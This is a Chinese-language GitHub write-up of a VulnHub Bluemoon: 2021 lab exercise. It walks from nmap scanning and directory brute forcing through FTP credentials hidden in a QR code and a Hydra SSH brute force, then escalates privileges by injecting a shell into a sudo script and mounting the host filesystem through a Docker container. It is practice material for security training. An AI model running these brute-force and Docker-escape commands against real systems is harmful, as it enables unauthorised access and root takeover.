nuuawal005-bit/Bluemoon-2021

GitHub: nuuawal005-bit/Bluemoon-2021

一份针对 VulnHub Bluemoon: 2021 初级靶机的完整渗透测试 writeup,详细记录从信息收集到 Docker 提权的全链路攻击过程。

Stars: 0 | Forks: 0

## 简介 本报告展示了在 VulnHub 的 Bluemoon: 2021 虚拟机上进行的渗透测试练习的结果。此次测试使用 Kali Linux 作为攻击平台,旨在受控的网络安全学习环境中练习侦察、漏洞利用和权限提升技术。 ## 机器详情 | 项目 | 描述 | |------|-------------| | 机器名称 | BlueMoon | | 平台 | VulnHub | | 难度 | 初级 (Beginner) | | 类型 | Boot2Root | | 目标 | 获取 root 权限 | ## 实验环境搭建 - 目标主机名:BlueMoon - 目标 IP:192.168.56.101 - 操作系统:Debian GNU/Linux 10 - 攻击机:192.168.56.102 - 难度等级:初级 (Beginner) - 目标:获取 root 权限并捕获 flag # 1️ 侦察 - 运行 bash```netdiscover``` 以识别子网内的活动主机。 - 使用 bash```ifconfig``` 验证攻击者 IP。 ``` Used nmap -sn 192.168.56.0/24 ``` 执行 ping 扫描并确认目标机器的存在。 # 2️ 服务枚举 使用以下命令进行详细扫描 ``` nmap -sC -sV -Pn revealed: ``` - FTP (21/tcp) – vsftpd 3.0.3 - SSH (22/tcp) – OpenSSH 7.9p1 - HTTP (80/tcp) – Apache 2.4.38 # 3️ Web 探索 初始端口扫描显示目标在 80 端口运行 Apache web 服务器后,下一步逻辑是调查 web 应用程序中的隐藏内容和潜在入口点。此阶段专注于目录枚举和内容发现,这在渗透测试中至关重要,因为许多配置错误或遗留文件可能会泄露敏感信息。 - 使用的工具:bash```dirb``` 配合自定义字典进行目录暴力破解。 ``` dirb http://192.168.56.105 ~/Desktop/wordlist.txt -X .php,.html,.txt ``` 目的:这些工具可以自动化猜测 web 服务器上常见目录和文件名的过程。管理员经常会留下备份文件、测试脚本或未在主站链接的隐藏路径,但如果知道 URL,这些内容仍然可以访问。 方法: - 通过 bash```gobuster``` 发现了 bash```/hidden_text```。 - 隐藏页面包含一个二维码图片。 - 解码该二维码泄露了 FTP 凭据: ``` userftp : fttp@ssword ``` # 4️ FTP 访问 在 Web 探索阶段发现有效的 FTP 凭据后,下一步是测试与 21 端口上运行的 FTP 服务的连接性。这一阶段至关重要,因为如果配置不当或认证机制薄弱,FTP 经常会暴露敏感文件 ``` ftp 192.168.56.101 ``` 目的: 使用先前获得的凭据与目标的 FTP 服务器建立会话 bash```(userftp: fttp@ssword)。``` 观察: 登录成功,确认泄露的凭据有效,并授予了对服务器文件系统的访问权限。 目录枚举 - 进入后,执行 bash```ls``` 命令列出可用文件。 - 发现了两个值得注意的文件 - bash```information.txt``` - bash```p_lists.txt``` - 这些文件似乎包含用户相关数据和潜在的密码线索。 文件获取 - 为了安全地分析文件,使用 bash```get``` 命令将其下载到攻击者的机器上: ``` get information.txt get p_lists.txt ``` 文件分析 - bash```information.txt:``` 包含一条提及名为 robin 用户的备注,并暗示了密码习惯较弱。 - bash```p_lists.txt:``` 提供了一个包含常见密码和 leetspeak 风格密码的自定义字典。这显然是用于暴力破解尝试的。 # 5️ 通过 SSH 获取用户 Shell - 使用 Hydra 配合提供的字典对 SSH 进行暴力破解: ``` hydra -l robin -P p_lists.txt ssh://192.168.56.101 ``` - 发现有效凭据: robin : k4rv3ndh4nh4ck3r - 成功登录 ``` ssh robin@192.168.56.101. ``` # 6️ 权限提升 Robin → Jerry - 利用具有 sudo 权限的 feedback.sh,注入 /bin/bash。 - 切换到用户 jerry。 - 使用 Python 升级 shell: python3 ``` -c 'import pty; pty.spawn("/bin/bash")' ``` - 发现 jerry 属于 docker 组。 Jerry → Root - 验证 Docker 镜像可用。 - 在容器内挂载主机文件系统: docker run ``` -v /:/mnt --rm -it alpine chroot /mnt sh ``` - 将权限提升至 root。 - 获取最终 flag: ```Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}```
标签:Bluemoon, Boot2Root, CTF学习, CTI, Debian, Dirb, Nmap, PE 加载器, PoC, SSH, VulnHub, Web安全, Writeup, 内存分配, 内网渗透, 协议分析, 大数据, 实战笔记, 密码管理, 提权, 插件系统, 数据统计, 暴力破解, 服务枚举, 本地模型, 权限提升, 目录扫描, 端口扫描, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 请求拦截, 足迹分析, 逆向工具, 隐私保护, 靶机实战, 黑客入门